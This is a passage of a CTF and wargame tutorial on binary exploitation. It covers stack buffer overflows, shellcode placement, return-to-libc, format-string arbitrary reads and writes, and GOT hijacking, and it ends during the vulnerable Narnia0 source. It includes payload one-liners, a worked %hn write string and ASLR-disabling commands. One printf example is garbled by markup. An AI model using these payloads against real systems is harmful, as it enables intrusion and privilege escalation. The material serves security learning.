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<li><a class="reference internal" href="#">Learning from the CTF : Binary Exploitation</a><ul>
<li><a class="reference internal" href="#basics">Basics</a></li>
<li><a class="reference internal" href="#buffer-overflow">Buffer overflow</a></li>
<li><a class="reference internal" href="#format-string-vulnerability">Format String Vulnerability</a></li>
<li><a class="reference internal" href="#buffer-overflow-examples">Buffer Overflow Examples</a></li>
<li><a class="reference internal" href="#format-string-examples">Format String Examples</a></li>
<li><a class="reference internal" href="#miscellanous-examples">Miscellanous Examples</a></li>
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<div class="section" id="learning-from-the-ctf-binary-exploitation">
<h1>Learning from the CTF : Binary Exploitation<a class="headerlink" href="#learning-from-the-ctf-binary-exploitation" title="Permalink to this headline">¶</a></h1>
<p>This post (Work in Progress) lists the tips and tricks while doing Binary Exploitation challenges during various CTF’s and Over The Wire Wargame.</p>
<p><strong>Thanks to superkojiman, barrebas, et0x who helped me learning the concepts.</strong></p>
<div class="section" id="basics">
<h2>Basics<a class="headerlink" href="#basics" title="Permalink to this headline">¶</a></h2>
<p>Let’s start with some basic concepts and then we would see some examples which would help to clear the concepts.</p>
<ul class="simple">
<li>Big-endian systems store the most significant byte of a word in the smallest address and the least significant byte is stored in the largest address. Little-endian systems, in contrast, store the least significant byte in the smallest address. {% img left /images/big-endian.png 250 250 %} {% img right /images/little-endian.png 250 250 %}</li>
<li>When you get a binary for exploitation, we need to find whether it is 32-bit or 64-bit ELF, which platform it is running, whether any buffer overflow prevention techniques has been used, what is EIP offset.</li>
</ul>
<blockquote>
<div><ul class="simple">
<li>Executable binary is running on whether x86 or x86-64.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">uname</span> <span class="o">-</span><span class="n">a</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Whether the binary is compiled for 32 bit or 64 bit.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">file</span> <span class="n">binary_file</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Multiple Buffer overflow prevention techniques such as RELRO, NoExecute (NX), Stack Canaries, Address Space Layout Randomization (ASLR) and Position Independent Executables (PIE).</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">Address</span> <span class="n">space</span> <span class="n">Layout</span> <span class="n">Randomization</span> <span class="p">:</span> <span class="n">Kernel</span>
<span class="n">Executable</span> <span class="n">Stack</span> <span class="n">Protection</span> <span class="p">:</span> <span class="n">Compiler</span>
<span class="n">Stack</span> <span class="n">smashing</span> <span class="n">protection</span> <span class="p">:</span> <span class="n">Compiler</span>
<span class="n">Position</span> <span class="n">Independent</span> <span class="n">Executables</span> <span class="p">:</span> <span class="n">Compiler</span>
<span class="n">Fortify</span> <span class="n">Source</span> <span class="p">:</span> <span class="n">Compiler</span>
<span class="n">Stack</span> <span class="n">Protector</span> <span class="p">:</span> <span class="n">Compiler</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Which buffer overflow prevention techniques are used can be found by running Checksec Script. This script is present in gdb-peda.</li>
<li>Whether the stack of binary is executable is not can be found by readelf tool. If Program header GNU_STACK has RWE flag, if it has E flag, it’s executable.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span>narnia8@melinda:~$ readelf -l /narnia/narnia8 | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
</pre></div>
</div>
<p>In order to make the stack executable, the program needs to be compiled with -z execstack option and to disable stack smashing option -fno-stack-protector should be used.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">gcc</span> <span class="o">-</span><span class="n">ggdb</span> <span class="o">-</span><span class="n">m32</span> <span class="o">-</span><span class="n">fno</span><span class="o">-</span><span class="n">stack</span><span class="o">-</span><span class="n">protector</span> <span class="o">-</span><span class="n">z</span> <span class="n">execstack</span> <span class="o">-</span><span class="n">o</span> <span class="n">buffer1</span> <span class="n">buffer1</span><span class="o">.</span><span class="n">c</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Address Space Layout Randomization (ASLR) controlled by /proc/sys/kernel/randomize_va_space.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">Three</span> <span class="n">Values</span><span class="p">:</span>
<span class="mi">0</span> <span class="p">:</span> <span class="n">Disable</span> <span class="n">ASLR</span><span class="o">.</span> <span class="n">This</span> <span class="n">setting</span> <span class="ow">is</span> <span class="n">applied</span> <span class="k">if</span> <span class="n">the</span> <span class="n">kernel</span> <span class="ow">is</span> <span class="n">booted</span> <span class="k">with</span> <span class="n">the</span> <span class="n">norandmaps</span> <span class="n">boot</span> <span class="n">parameter</span><span class="o">.</span>
<span class="mi">1</span> <span class="p">:</span> <span class="n">Randomize</span> <span class="n">the</span> <span class="n">positions</span> <span class="n">of</span> <span class="n">the</span> <span class="n">stack</span><span class="p">,</span> <span class="n">virtual</span> <span class="n">dynamic</span> <span class="n">shared</span> <span class="nb">object</span> <span class="p">(</span><span class="n">VDSO</span><span class="p">)</span> <span class="n">page</span><span class="p">,</span> <span class="ow">and</span> <span class="n">shared</span> <span class="n">memory</span> <span class="n">regions</span><span class="o">.</span> <span class="n">The</span> <span class="n">base</span> <span class="n">address</span> <span class="n">of</span> <span class="n">the</span> <span class="n">data</span> <span class="n">segment</span> <span class="ow">is</span> <span class="n">located</span> <span class="n">immediately</span> <span class="n">after</span> <span class="n">the</span> <span class="n">end</span> <span class="n">of</span> <span class="n">the</span> <span class="n">executable</span> <span class="n">code</span> <span class="n">segment</span><span class="o">.</span>
<span class="mi">2</span> <span class="p">:</span> <span class="n">Randomize</span> <span class="n">the</span> <span class="n">positions</span> <span class="n">of</span> <span class="n">the</span> <span class="n">stack</span><span class="p">,</span> <span class="n">VDSO</span> <span class="n">page</span><span class="p">,</span> <span class="n">shared</span> <span class="n">memory</span> <span class="n">regions</span><span class="p">,</span> <span class="ow">and</span> <span class="n">the</span> <span class="n">data</span> <span class="n">segment</span><span class="o">.</span> <span class="n">This</span> <span class="ow">is</span> <span class="n">the</span> <span class="n">default</span> <span class="n">setting</span><span class="o">.</span>
</pre></div>
</div>
<p>You can change the setting temporarily by writing a new value to /proc/sys/kernel/randomize_va_space, for example:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">echo</span> <span class="n">value</span> <span class="o">></span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">randomize_va_space</span>
</pre></div>
</div>
<p>To change the value permanently, add the setting to /etc/sysctl.conf, for example:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">kernel</span><span class="o">.</span><span class="n">randomize_va_space</span> <span class="o">=</span> <span class="n">value</span>
<span class="ow">and</span> <span class="n">run</span> <span class="n">the</span> <span class="n">sysctl</span> <span class="o">-</span><span class="n">p</span> <span class="n">command</span><span class="o">.</span>
</pre></div>
</div>
<p>If you change the value of randomize_va_space, you should test your application stack to ensure that it is compatible with the new setting. If necessary, you can disable ASLR for a specific program and its child processes by using the following command:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>% setarch `uname -m` -R program [args ...]
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>To know the EIP offset, you can use cyclic patterns. Use pattern_create.rb to create a random pattern which can be used to find the offset and pattern_offset.rb to find the exact offset.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">metasploit</span><span class="o">-</span><span class="n">framework</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">pattern_create</span><span class="o">.</span><span class="n">rb</span> <span class="mi">200</span>
<span class="n">Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">metasploit</span><span class="o">-</span><span class="n">framework</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">pattern_offset</span><span class="o">.</span><span class="n">rb</span> <span class="mh">0x37654136</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Exact</span> <span class="n">match</span> <span class="n">at</span> <span class="n">offset</span> <span class="mi">140</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Sometimes, you need to know the address of the variable, inorder to write arbitary value in to it.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">run</span> <span class="n">gdb</span> <span class="o"><</span><span class="n">program</span><span class="o">></span> <span class="n">p</span> <span class="o">&<</span><span class="n">variablename</span><span class="o">></span>
</pre></div>
</div>
</div></blockquote>
</div></blockquote>
</div>
<div class="section" id="buffer-overflow">
<h2>Buffer overflow<a class="headerlink" href="#buffer-overflow" title="Permalink to this headline">¶</a></h2>
<ul class="simple">
<li>Either you can put the shellcode on the buffer and then redirect the EIP to NOP Sled followed by the shellcode (provided the shellcode used is correct and the stack is executable).</li>
<li>However, if the stack is not executable or the shellcode is not working (happens sometimes), then we can either,</li>
</ul>
<blockquote>
<div><ul class="simple">
<li>Export a environment variable with shellcode, find the address of env variable in the stack and then set the return address to starting of the shellcode and get a shell</li>
<li>Use return2libc which is a type of ROP: find the address of system function, find the address of “/bin/sh” in the stack and execute it like system(“/bin/sh”). It is in the format of</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="o"><</span><span class="n">ADDRofSYSTEM</span><span class="o">></span> <span class="o"><</span><span class="mi">4</span><span class="n">ArbitraryBytes</span> <span class="k">for</span> <span class="n">Return</span> <span class="n">Address</span><span class="o">></span> <span class="o"><</span><span class="n">argument</span> <span class="k">for</span> <span class="n">system</span><span class="p">[</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">sh</span><span class="p">]</span><span class="o">></span>
</pre></div>
</div>
<p>4Arbitrary Bytes for Return address could be a JUNK address or “\xCC\xCC\xCC\xCC” or address of exit function.</p>
<p>If set to</p>
<ul class="simple">
<li>\xCC\xCC\xCC\xCC so after system executes, it tries to return to 0xcccccccc. \xcc is good just to check if you’re actually jumping to your shellcode, but once you’ve verified that it works, then you should remove it.</li>
<li>If a JUNK address is put, the binary will have already executed the shellcode but it will segfault.</li>
<li>If the proper address of exit() is used, binary will exit cleanly.</li>
</ul>
<p>It’s better to use /bin/sh instead of /bin/bash since bash drops privs. If /bin/bash is used, it will launch /bin/bash but you’ll find that you haven’t elevated your privileges and this can get confusing. so either find another string that points to /bin/sh or set your own env variable like DASH=/bin/sh and reference that. Good paper to review is Bypassing non-executable-stack during Exploitation (return-to-libc).</p>
</div></blockquote>
<ul>
<li><p class="first">Sometimes you need to put a cat to keep the shell alive</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">cat</span> <span class="nb">input</span><span class="p">;</span> <span class="n">cat</span><span class="p">)</span> <span class="o">|</span> <span class="o">./</span><span class="n">binary</span> <span class="nb">input</span> <span class="ow">is</span> <span class="n">the</span> <span class="n">payload</span> <span class="n">you</span> <span class="n">are</span> <span class="n">sending</span><span class="o">.</span>
</pre></div>
</div>
</li>
</ul>
</div></blockquote>
<ul class="simple">
<li>Sometimes we need a shellcode to write a string or for getting a actual shell. A good reference can be found @Introduction to Writing Shellcode. Information about various system call integar value need to be present in EAX register is here Linux System Call Table.</li>
</ul>
<blockquote>
<div><p>Let’s see a small example where we move an address to eax register and jump to it. Address which we are moving to eax would contain our shellcode.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">;</span><span class="n">test</span><span class="o">.</span><span class="n">asm</span>
<span class="p">[</span><span class="n">SECTION</span> <span class="o">.</span><span class="n">text</span><span class="p">]</span>
<span class="k">global</span> <span class="n">_start</span>
<span class="n">_start</span><span class="p">:</span>
<span class="n">mov</span> <span class="n">eax</span><span class="p">,</span> <span class="mh">0xffffd8bc</span>
<span class="n">jmp</span> <span class="n">eax</span>
</pre></div>
</div>
<p>Just good to know: global directive is NASM specific. It is for exporting symbols in your code to where it points in the object code generated. Here you mark _start symbol global so its name is added in the object code (a.o). The linker (ld) can read that symbol in the object code and its value so it knows where to mark as an entry point in the output executable. When you run the executable it starts at where marked as _start in the code.</p>
<p>If a global directive missing for a symbol that symbol will not be placed in the object code’s export table so linker has no way of knowing about the symbol. We can compile the asm file by</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">nasm</span> <span class="o">-</span><span class="n">f</span> <span class="n">elf</span> <span class="n">test</span><span class="o">.</span><span class="n">asm</span>
</pre></div>
</div>
<p>link it</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">ld</span> <span class="o">-</span><span class="n">o</span> <span class="n">test</span> <span class="n">test</span><span class="o">.</span><span class="n">o</span>
</pre></div>
</div>
<p>If you get the below error</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>ld: i386 architecture of input file `test.o' is incompatible with i386:x86-64 output
</pre></div>
</div>
<p>either</p>
<p>Use 64 bits instead of 32 for your loader and compile it with the following command:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">nasm</span> <span class="o">-</span><span class="n">f</span> <span class="n">elf64</span> <span class="n">loader</span><span class="o">.</span><span class="n">asm</span> <span class="o">-</span><span class="n">o</span> <span class="n">loader</span><span class="o">.</span><span class="n">o</span>
</pre></div>
</div>
<p>or</p>
<p>If want compile the file as 32 bits composition, you can use:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">ld</span> <span class="o">-</span><span class="n">m</span> <span class="n">elf_i386</span> <span class="o">-</span><span class="n">s</span> <span class="o">-</span><span class="n">o</span> <span class="n">file</span><span class="o">.</span><span class="n">o</span> <span class="n">file</span>
</pre></div>
</div>
<p>To see the byte code</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">objdump</span> <span class="o">-</span><span class="n">d</span> <span class="o"><</span><span class="n">file</span><span class="o">></span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>What we mostly do when exploiting a buffer overflow (when placing the shellcode on stack) is we place our shellcode before EIP, we should also check if we can put our shellcode after EIP. This is particularly useful when some kind of check for shellcode is present in address before EIP. Example: Suppose our EIP is present at offset 80. We would usually do</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'print "</span><span class="se">\x90</span><span class="s1">"*50 + "30 Bytes of ShellCode" + "4 Bytes return address to NOP or shellcode in left"'</span>
</pre></div>
</div>
<p>However, if somekind of check for alphanumeric characters is present for first 80 bytes you won’t be able to put your shellcode in those 80 bytes. At that point of time you should check if you can overflow post EIP and redirect. For example</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'print "A"*80 + "4 Bytes return address to NOP or shellcode in right" + "</span><span class="se">\x90</span><span class="s1">"*50 + "30 Bytes of ShellCode"'</span>
</pre></div>
</div>
</div></blockquote>
</div>
<div class="section" id="format-string-vulnerability">
<h2>Format String Vulnerability<a class="headerlink" href="#format-string-vulnerability" title="Permalink to this headline">¶</a></h2>
<ul class="simple">
<li>Definition: If an attacker is able to provide the format string to an ANSI C format function in part or as a whole, a format string vulnerability is present. By doing so, the behaviour of the format function is changed, and the attacker may get control over the target application. A format string is an ASCIIZ string that contains text and format parameters. Example:</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"The magic number is: </span><span class="si">%d</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="mi">1911</span><span class="p">);</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>The behaviour of the format function is controlled by the format string. The function retrieves the parameters requested by the format string from the stack.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"Number </span><span class="si">%d</span><span class="s2"> has no address, number </span><span class="si">%d</span><span class="s2"> has: </span><span class="si">%08x</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="o">&</span><span class="n">a</span><span class="p">);</span>
</pre></div>
</div>
<p>From within the printf function the stack looks like:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">stack</span> <span class="n">top</span>
<span class="o">.</span> <span class="o">.</span> <span class="o">.</span>
<span class="o"><&</span><span class="n">a</span><span class="o">></span>
<span class="o"><</span><span class="n">a</span><span class="o">></span>
<span class="o"><</span><span class="n">i</span><span class="o">></span>
<span class="n">A</span>
<span class="o">.</span> <span class="o">.</span> <span class="o">.</span>
<span class="n">stack</span> <span class="n">bottom</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Crashing the Program: By utilizing format strings we can easily trigger some invalid pointer access by just supplying a format string like:</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"</span><span class="si">%s%s%s%s%s%s%s%s%s%s%s%s</span><span class="s2">"</span><span class="p">);</span>
</pre></div>
</div>
<p>Because ‘%s’ displays memory from an address that is supplied on the stack, where a lot of other data is stored, too, our chances are high to read from an illegal address, which is not mapped.</p>
</div></blockquote>
<ul class="simple">
<li>Viewing the stack: how some parts of the stack memory by using a format string like this:</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
</pre></div>
</div>
<p>This works, because we instruct the printf-function to retrieve five parameters from the stack and display them as 8-digit padded hexadecimal numbers. So a possible output may look like:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="mf">40012980.080628</span><span class="n">c4</span><span class="o">.</span><span class="n">bffff7a4</span><span class="o">.</span><span class="mf">00000005.08059</span><span class="n">c04</span>
</pre></div>
</div>
<p>This is a partial dump of the stack memory, starting from the current bottom upward to the top of the stack — assuming the stack grows towards the low addresses.</p>
</div></blockquote>
<ul class="simple">
<li>Viewing Memory at any location: We can look at memory locations different from the stack memory by providing an address to the format string.</li>
</ul>
<blockquote>
<div><p>Our format string is usually located on the stack itself, so we already have near to full control over the space, where the format string lies. The format function internally maintains a pointer to the stack location of the current format parameter. If we would be able to get this pointer pointing into a memory space we can control, we can supply an address to the ‘%s’ parameter. To modify the stack pointer we can simply use dummy parameters that will ‘dig’ up the stack by printing junk:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"AAA0AAA1_</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">"</span><span class="p">);</span>
</pre></div>
</div>
<p>The ‘%08x’ parameters increase the internal stack pointer of the format function towards the top of the stack. After more or less of this increasing parameters the stack pointer points into our memory: the format string itself. The format function always maintains the lowest stack frame, so if our buffer lies on the stack at all, it lies above the current stack pointer for sure. If we choose the number of ‘%08x’ parameters correctly, we could just display memory from an arbitrary address, by appending ‘%s’ to our string. In our case the address is illegal and would be ‘AAA0’. Lets replace it with a real one. Example:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">address</span> <span class="o">=</span> <span class="mh">0x08480110</span>
<span class="n">address</span> <span class="p">(</span><span class="n">encoded</span> <span class="k">as</span> <span class="mi">32</span> <span class="n">bit</span> <span class="n">le</span> <span class="n">string</span><span class="p">):</span> <span class="s2">"</span><span class="se">\x10\x01\x48\x08</span><span class="s2">"</span>
<span class="n">printf</span> <span class="p">(</span><span class="s2">"</span><span class="se">\x10\x01\x48\x08</span><span class="s2">_</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">|</span><span class="si">%s</span><span class="s2">|"</span><span class="p">);</span>
</pre></div>
</div>
<p>Will dump memory from 0x08480110 until a NUL byte is reached. If we cannot reach the exact format string boundary by using 4-Byte pops (‘%08x’), we have to pad the format string, by prepending one, two or three junk characters. 3 This is analog to the alignment in buffer overflow exploits.</p>
</div></blockquote>
<ul class="simple">
<li>Overwriting of Arbitrary Memory: There is the ‘%n’ parameter, which writes the number of bytes already printed, into a variable of our choice. The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack. But if we supply a correct mapped and writeable address this works and we overwrite four bytes (sizeof (int)) at the address:</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="s2">"</span><span class="se">\xc0\xc8\xff\xbf</span><span class="s2">_</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.</span><span class="si">%08x</span><span class="s2">.%n"</span>
</pre></div>
</div>
<p>The format string above will overwrite four bytes at 0xbfffc8c0 with a small integer number. We have reached one of our goals: we can write to arbitrary addresses. By using a dummy parameter ‘%nu’ we are able to control the counter written by ‘%n’, at least a bit.</p>
</div></blockquote>
<ul class="simple">
<li>Direct Parameter Access: The direct parameter access is controlled by the ‘$’ qualifier</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">printf</span> <span class="p">(</span><span class="s2">"%6`\ d:raw-latex:`</span><span class="se">\n</span><span class="s2">`"</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</pre></div>
</div>
<p>Prints ‘1’, because the ‘6$’ explicitly addresses the 6th parameter on the stack.</p>
</div></blockquote>
<ul class="simple">
<li>The above text is taken from and a good paper to read for format string is <a class="reference external" href="http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Format_String/files/formatstring-1.2.pdf">Exploiting Format String Vulnerabilities</a></li>
</ul>
<blockquote>
<div></div></blockquote>
<ul class="simple">
<li>We can write two bytes by %hn and one byte by %hhn.</li>
<li>How to write four bytes? Suppose we need to write 0x8048706 to the address 0xffffd64c.</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span>HOB:0x0804 LOB:0x8706
If HOB < LOB
[addr+2][addr] = \x4e\xd\xff\xff\x4c\xd\xff\xff
%.[HOB - 8]x = 0x804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn = %6\$hn
%.[LOB - HOB]x = 0x8706 - 0x804 = 7F02 (32514) = %.32514x
%[offset+1]`\ hn = %7$hn
python -c 'print "\x4e\xd6\xff\xff\x4c\xd6\xff\xff" +"%.2044x%6\$hn %.32514x%7\$hn"'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Hijack the Global Offset Table with pointers:</li>
</ul>
<blockquote>
<div><ul class="simple">
<li>Whatis: The Global Offset Table redirects position independent address calculations to an absolute location and is located in the .got section of an ELF executable or shared object. It stores the final (absolute) location of a function calls symbol, used in dynamically linked code. When a program requests to use printf() for instance, after the rtld locates the symbol, the location is then relocated in the GOT and allows for the executable via the Procedure Linkage Table, to directly access the symbols location.</li>
<li>when you disassemble main and printf statement is present, you will get like</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="mh">0x080484b9</span> <span class="o"><+</span><span class="mi">60</span><span class="o">></span><span class="p">:</span> <span class="n">call</span> <span class="mh">0x8048330</span> <span class="n">printf</span><span class="nd">@plt</span> <span class="o"><----</span><span class="n">PLT</span>
</pre></div>
</div>
<p>if you further disassemble printf</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>gdb-peda$ pdisass printf
Dump of assembler code for function printf@plt:
0x08048330 <+0>: jmp DWORD PTR ds:0x8049788 <----GOT Address
0x08048336 <+6>: push 0x0
0x0804833b <+11>: jmp 0x8048320 End of assembler dump.
</pre></div>
</div>
<p>Further disassembling the address 0x8049788</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>gdb-peda$ pdisass 0x8049788
Dump of assembler code from 0x8049788 to 0x80497a8:
0x08049788 <printf@got.plt+0>: add DWORD PTR ss:[eax+ecx*1],0x46
0x0804978d <fgets@got.plt+1>: add DWORD PTR [eax+ecx*1],0x56
0x08049791 <puts@got.plt+1>: add DWORD PTR [eax+ecx*1],0x66
0x08049795 <__gmon_start__@got.plt+1>: add DWORD PTR [eax+ecx*1],0x76
0x08049799 <__libc_start_main@got.plt+1>: add DWORD PTR [eax+ecx*1],0x0
0x0804979d <data_start+1>: add BYTE PTR [eax],al
0x0804979f <data_start+3>: add BYTE PTR [eax],al
0x080497a1 <__dso_handle+1>: add BYTE PTR [eax],al
0x080497a3 <__dso_handle+3>: add BYTE PTR [eax],al
0x080497a5 <stdin@@GLIBC_2.0+1>: add BYTE PTR [eax],al
0x080497a7 <stdin@@GLIBC_2.0+3>: add BYTE PTR [eax],al
End of assembler dump.
</pre></div>
</div>
<p>Objdump reflects the same (notice the +1) GOT address:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">objdump</span> <span class="o">--</span><span class="n">dynamic</span><span class="o">-</span><span class="n">reloc</span> <span class="o">./</span><span class="n">behemoth3</span>
<span class="o">./</span><span class="n">behemoth3</span><span class="p">:</span> <span class="n">file</span> <span class="nb">format</span> <span class="n">elf32</span><span class="o">-</span><span class="n">i386</span>
<span class="n">DYNAMIC</span> <span class="n">RELOCATION</span> <span class="n">RECORDS</span>
<span class="n">OFFSET</span> <span class="n">TYPE</span> <span class="n">VALUE</span>
<span class="mi">08049778</span> <span class="n">R_386_GLOB_DAT</span> <span class="n">__gmon_start__</span>
<span class="mi">080497</span><span class="n">a4</span> <span class="n">R_386_COPY</span> <span class="n">stdin</span>
<span class="mi">08049788</span> <span class="n">R_386_JUMP_SLOT</span> <span class="n">printf</span>
<span class="mi">0804978</span><span class="n">c</span> <span class="n">R_386_JUMP_SLOT</span> <span class="n">fgets</span>
<span class="mi">08049790</span> <span class="n">R_386_JUMP_SLOT</span> <span class="n">puts</span>
<span class="mi">08049794</span> <span class="n">R_386_JUMP_SLOT</span> <span class="n">__gmon_start__</span>
<span class="mi">08049798</span> <span class="n">R_386_JUMP_SLOT</span> <span class="n">__libc_start_main</span>
</pre></div>
</div>
<p>Quick diagram what it looks like:</p>
<p>So a quick diagram of what happens looks kind’a like this:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">[</span><span class="n">printf</span><span class="p">()]</span> <span class="o"><--------------------------------</span>
<span class="o">|</span> <span class="o">|</span>
<span class="o">--------------></span> <span class="p">[</span><span class="n">PLT</span><span class="p">]</span><span class="o">---></span><span class="p">[</span><span class="n">d_r_resolve</span><span class="p">]</span><span class="o">--|</span>
<span class="o">|</span> <span class="o">|</span> <span class="o">|</span>
<span class="o">--------------------></span><span class="p">[</span><span class="n">GOT</span><span class="p">]</span><span class="o"><--</span>
<span class="o">|</span> <span class="o">|</span>
<span class="o">-------></span><span class="p">[</span><span class="n">libc</span><span class="p">]</span><span class="o">--</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>A good paper to read about and from where the definition and diagram is taken is How to Hijack the Global Offset Table with pointers</li>
</ul>
</div></blockquote>
</div>
<div class="section" id="buffer-overflow-examples">
<h2>Buffer Overflow Examples<a class="headerlink" href="#buffer-overflow-examples" title="Permalink to this headline">¶</a></h2>
<ul class="simple">
<li>Let’s see a simple example of binary exploitation Narnia0 where we have to write a written value.</li>
</ul>
<blockquote>
<div><div class="code c highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="c1">#include <stdlib.h></span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(){</span>
<span class="n">long</span> <span class="n">val</span><span class="o">=</span><span class="mh">0x41414141</span><span class="p">;</span>
<span class="n">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"Correct val's value from 0x41414141 -> 0xdeadbeef!</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"Here is your chance: "</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s2">"</span><span class="si">%24s</span><span class="s2">"</span><span class="p">,</span><span class="o">&</span><span class="n">buf</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"buf: </span><span class="si">%s</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="n">buf</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"val: 0x</span><span class="si">%08x</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="n">val</span><span class="p">);</span>
